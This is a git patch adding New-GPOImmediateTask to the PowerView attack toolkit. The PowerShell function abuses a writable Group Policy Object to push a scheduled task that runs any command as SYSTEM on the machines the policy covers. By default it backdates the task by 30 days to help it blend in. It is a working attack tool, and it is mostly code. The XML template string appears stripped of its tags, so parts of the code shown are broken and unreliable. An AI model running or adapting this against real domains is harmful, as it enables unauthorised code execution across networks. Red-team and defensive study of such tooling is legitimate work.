From cec01eee70be93ac06ed94a2afbe4c4386d8aef5 Mon Sep 17 00:00:00 2001 From: William Bruneau Date: Thu, 25 Apr 2019 13:14:24 +0200 Subject: [PATCH] Powerview: reintroduce New-GPOImmediateTask --- Recon/PowerView.ps1 | 463 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 463 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 2dc5234a..db50c131 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -14159,6 +14159,469 @@ Ouputs a hashtable representing the parsed GptTmpl.inf file. } } +function New-GPOImmediateTask { +<# +.SYNOPSIS + +Builds an 'Immediate' schtask to push out through a specified GPO. + +Authors: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO + +.DESCRIPTION + +Builds an 'Immediate' schtask to push out through a specified GPO. First an +XML file is created here +'\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'. +This XML file contains configuration for our 'Immediate' task such as which +command will be run with which account. +Furthermore, for the 'Immediate' task to be run we need to update the +gPCMachineExtensionNames or gPCUserExtensionNames attribute of the GPO object +with the GUID corresponding to an 'Immediate' task. +Finally, the versioNumber must be updated both in the GPO object and the +GPT.ini file if we want the 'Immediate' task to be applied without 'gpupdate +/force'. +Greatly inspired from https://labs.mwrinfosecurity.com/tools/sharpgpoabuse/. + +.PARAMETER TaskName + +Name for the schtask to recreate. Required. + +.PARAMETER Command + +The command to execute with the task, defaults to 'powershell'. + +.PARAMETER CommandArguments + +The arguments to supply to the -Command being launched. + +.PARAMETER TaskDescription + +An optional description for the task. + +.PARAMETER TaskAuthor + +The displayed author of the task, defaults to 'NT AUTHORITY\System'. + +.PARAMETER TaskRunAs + +The security context under which the task is run, defaults to 'NT AUTHORITY\System'. + +.PARAMETER TaskLogonType + +The logon type used by the task (mainly S4U or InteractiveToken), defaults to 'S4U'. + +.PARAMETER TaskRunLevel + +The privilege level asked for by the task, defaults to 'HighestAvailable' + +.PARAMETER TaskModifiedDate + +The displayed modified date for the task, defaults to 30 days ago. + +.PARAMETER GPO + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). + +.PARAMETER Domain + +The domain to query for the GPOs, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through +e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Target + +Specifies if the immediate task will be configure for the user or machine part of the GPO. + +.EXAMPLE + +PS> New-GPOImmediateTask -TaskName Debugging -GPO SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + +Create an immediate schtask that executes the specified PowerShell arguments and +push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + +.EXAMPLE + +PS> New-GPOImmediateTask -GPO SecurePolicy -Remove -Force + +Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> + [CmdletBinding(DefaultParameterSetName = 'Create')] + Param ( + + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] + [Parameter(ParameterSetName = 'Remove', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $TaskName, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $Command = 'powershell', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskRunAs = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskLogonType = 'S4U', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskRunLevel = 'HighestAvailable', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskGuid = [Guid]::NewGuid(), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPO, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [ValidateSet('Machine','User')] + [String] + $Target = 'Machine', + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Domain, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + $LDAPFilter, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Server, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $SearchScope, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Force, + + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['GPO']) { $SearcherArguments['Identity'] = $GPO } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + } + + PROCESS { + # enumerate the specified GPO(s) + $GPOs = Get-DomainGPO @SearcherArguments -Raw + + if(!$GPOs) { + Write-Warning '[New-GPOImmediateTask] No GPO found.' + return + } + + ForEach($GPORaw in $GPOs) { + $GPOEntry = $GPORaw.GetDirectoryEntry() + $ProcessedGPOName = $GPOEntry.Name + Write-Verbose "[New-GPOImmediateTask] Trying to weaponize GPO: $ProcessedGPOName" + + $TaskPath = Join-Path $GPOEntry.gPCFileSysPath "\$Target\Preferences\ScheduledTasks\" + $TaskXMLPath = Join-Path $TaskPath "\ScheduledTasks.xml" + + if($Remove) { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskXMLPath")) { + return + } + + if (Test-Path $TaskXMLPath) { + # remove our immediate task from scheduled tasks XML file + $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII) + $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName + ForEach ($OldImmediateTask in $OldImmediateTasks) { + $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask) + } + $TaskXML.Save($TaskXMLPath) + + if ($TaskXML.ScheduledTasks.ChildNodes.Count -eq 0) { + Remove-Item -Path $TaskXMLPath -Force + + # remove GUID for ImmediateTask from gPCMachineExtensionNames + # or gPCUserExtensionNames + if ($Target -eq "Machine") { + $extensionNames = "gPCMachineExtensionNames" + } else { + $extensionNames = "gPCUserExtensionNames" + } + + $ZeroGuid = "00000000-0000-0000-0000-000000000000" + $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72" + $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527" + + if ($GPOEntry.Properties[$extensionNames] -and $GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) { + $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString() + $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries) + + $OldGUIDs = New-Object System.Collections.ArrayList + ForEach ($GUIDs in $OldGUIDSplit) { + $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", "" + $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs) + $Null = $OldGUIDs.Add($OldGUID) + } + + $NewGUIDs = New-Object System.Collections.ArrayList + + ForEach ($OldGUID in $OldGUIDs) { + # updating CSE GUID + if ($OldGUID.Contains($ZeroGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid)) { + $Null = $OldGUID.Remove($ScheduledTasksCSEGuid) + if ($OldGUID.Count -gt 1) { + $OldGUID = $OldGUID | Sort-Object + $Null = $NewGUIDs.Add($OldGUID) + } + # updating tool extension GUID for ScheduledTasks + } elseif (!($OldGUID.Contains($ScheduledTasksTEGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid))) { + $Null = $NewGUIDs.Add($OldGUID) + } + } + + if ($NewGUIDs.Count -gt 0) { + $NewGUIDs = $NewGUIDs | Sort-Object + + # format for extensionNames field + $FormatedGUIDs = New-Object System.Collections.ArrayList + ForEach ($GUIDs in $NewGUIDs) { + $FormatedGUID = "" + ForEach ($GUID in $GUIDs) { + $FormatedGUID += "{"+$GUID+"}" + } + $FormatedGUID = "["+$FormatedGUID+"]" + $Null = $FormatedGUIDs.Add($FormatedGUID) + } + $NewGUIDsString = -Join $FormatedGUIDs + + Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString" + + $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString + } else { + $GPOEntry.Properties[$extensionNames].Clear() + } + } + } + } + + # update versionNumber + $NewVersionNumber = [Convert]::ToInt32($GPOEntry.Properties["versionNumber"].Value) + 1 + $GPOEntry.Properties["versionNumber"].Value = $NewVersionNumber + Write-Verbose "[New-GPOImmediateTask] New versionNumber $NewVersionNumber" + + $GPOEntry.CommitChanges() + + # also update versionNumber in GPT.ini + $GPTPath = Join-Path $GPOEntry.gPCFileSysPath "\GPT.ini" + $GPTOldContent = Get-Content -Path $GPTPath + $GPTNewContent = $GPTOldContent -replace "Version=.*$","Version=$NewVersionNumber" + Set-Content -Encoding ASCII -PATH $GPTPath -Value $GPTNewContent + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskXMLPath")) { + return + } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath + + # build the XML spec for our 'immediate' scheduled task + [xml] $ImmediateTaskXML = ''+$TaskAuthor+''+$TaskDescription+''+$TaskRunAs+''+$TaskLogonType+''+$TaskRunLevel+'PT10MPT1HtruefalseIgnoreNewfalsetruetruetruefalsefalsetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true'+$Command+''+$CommandArguments+'' + + # add our immediate task in scheduled tasks XML file + if (Test-Path $TaskXMLPath) { + $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII) + if ($TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName) { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Overwritting immediate task named $TaskName")) { + return + } + $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName + ForEach ($OldImmediateTask in $OldImmediateTasks) { + $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask) + } + } + } else { + [xml] $TaskXML = [xml] '' + } + $Null = $TaskXML.ScheduledTasks.AppendChild($TaskXML.ImportNode($ImmediateTaskXML.ImmediateTaskV2, $true)) + $TaskXML.Save($TaskXMLPath) + + # update versionNumber + $NewVersionNumber = [Convert]::ToInt32($GPOEntry.Properties["versionNumber"].Value) + 1 + $GPOEntry.Properties["versionNumber"].Value = $NewVersionNumber + Write-Verbose "[New-GPOImmediateTask] New versionNumber $NewVersionNumber" + + # add GUID for ImmediateTask in gPCMachineExtensionNames or + # gPCUserExtensionNames + if ($Target -eq "Machine") { + $extensionNames = "gPCMachineExtensionNames" + } else { + $extensionNames = "gPCUserExtensionNames" + } + + $ZeroGuid = "00000000-0000-0000-0000-000000000000" + $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72" + $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527" + + if (!$GPOEntry.Properties[$extensionNames]) { + $GPOEntry.Properties[$extensionNames].Value = "[{"+$ZeroGuid+"}{"+$ScheduledTasksCSEGuid+"}]"+"[{"+ $ScheduledTasksTEGuid+"}{"+$ScheduledTasksCSEGuid+"}]" + } elseif (!$GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) { + $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString() + $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries) + + $OldGUIDs = New-Object System.Collections.ArrayList + ForEach ($GUIDs in $OldGUIDSplit) { + $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", "" + $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs) + $Null = $OldGUIDs.Add($OldGUID) + } + + $NewGUIDs = New-Object System.Collections.ArrayList + + # add CSE GUID + if (!$OldExtensionNames.Contains($ZeroGuid)) { + $Null = $OldGUIDs.Add(@($ZeroGuid, $ScheduledTasksCSEGuid)) + } + + # add tool extension GUID for ScheduledTasks + if (!$OldExtensionNames.Contains($ScheduledTasksTEGuid)) { + $Null = $OldGUIDs.Add(@($ScheduledTasksTEGuid, $ScheduledTasksCSEGuid)) + } + + ForEach ($OldGUID in $OldGUIDs) { + # updating CSE GUID + if ($OldGUID.Contains($ZeroGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) { + $Null = $OldGUID.Add($ScheduledTasksCSEGuid) + $OldGUID = $OldGUID | Sort-Object + $Null = $NewGUIDs.Add($OldGUID) + # updating tool extension GUID for ScheduledTasks + } elseif ($OldGUID.Contains($ScheduledTasksTEGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) { + $Null = $OldGUID.Add($ScheduledTasksCSEGuid) + $OldGUID = $OldGUID | Sort-Object + $Null = $NewGUIDs.Add($OldGUID) + } else { + $Null = $NewGUIDs.Add($OldGUID) + } + } + + $NewGUIDs = $NewGUIDs | Sort-Object + + # format for extensionNames field + $FormatedGUIDs = New-Object System.Collections.ArrayList + ForEach ($GUIDs in $NewGUIDs) { + $FormatedGUID = "" + ForEach ($GUID in $GUIDs) { + $FormatedGUID += "{"+$GUID+"}" + } + $FormatedGUID = "["+$FormatedGUID+"]" + $Null = $FormatedGUIDs.Add($FormatedGUID) + } + $NewGUIDsString = -Join $FormatedGUIDs + + Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString" + + $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString + } + + $GPOEntry.CommitChanges() + + # also update versionNumber in GPT.ini + $GPTPath = Join-Path $GPOEntry.gPCFileSysPath "\GPT.ini" + $GPTOldContent = Get-Content -Path $GPTPath + $GPTNewContent = $GPTOldContent -replace "Version=.*$","Version=$NewVersionNumber" + Set-Content -Encoding ASCII -PATH $GPTPath -Value $GPTNewContent + } + } + } +} ######################################################## #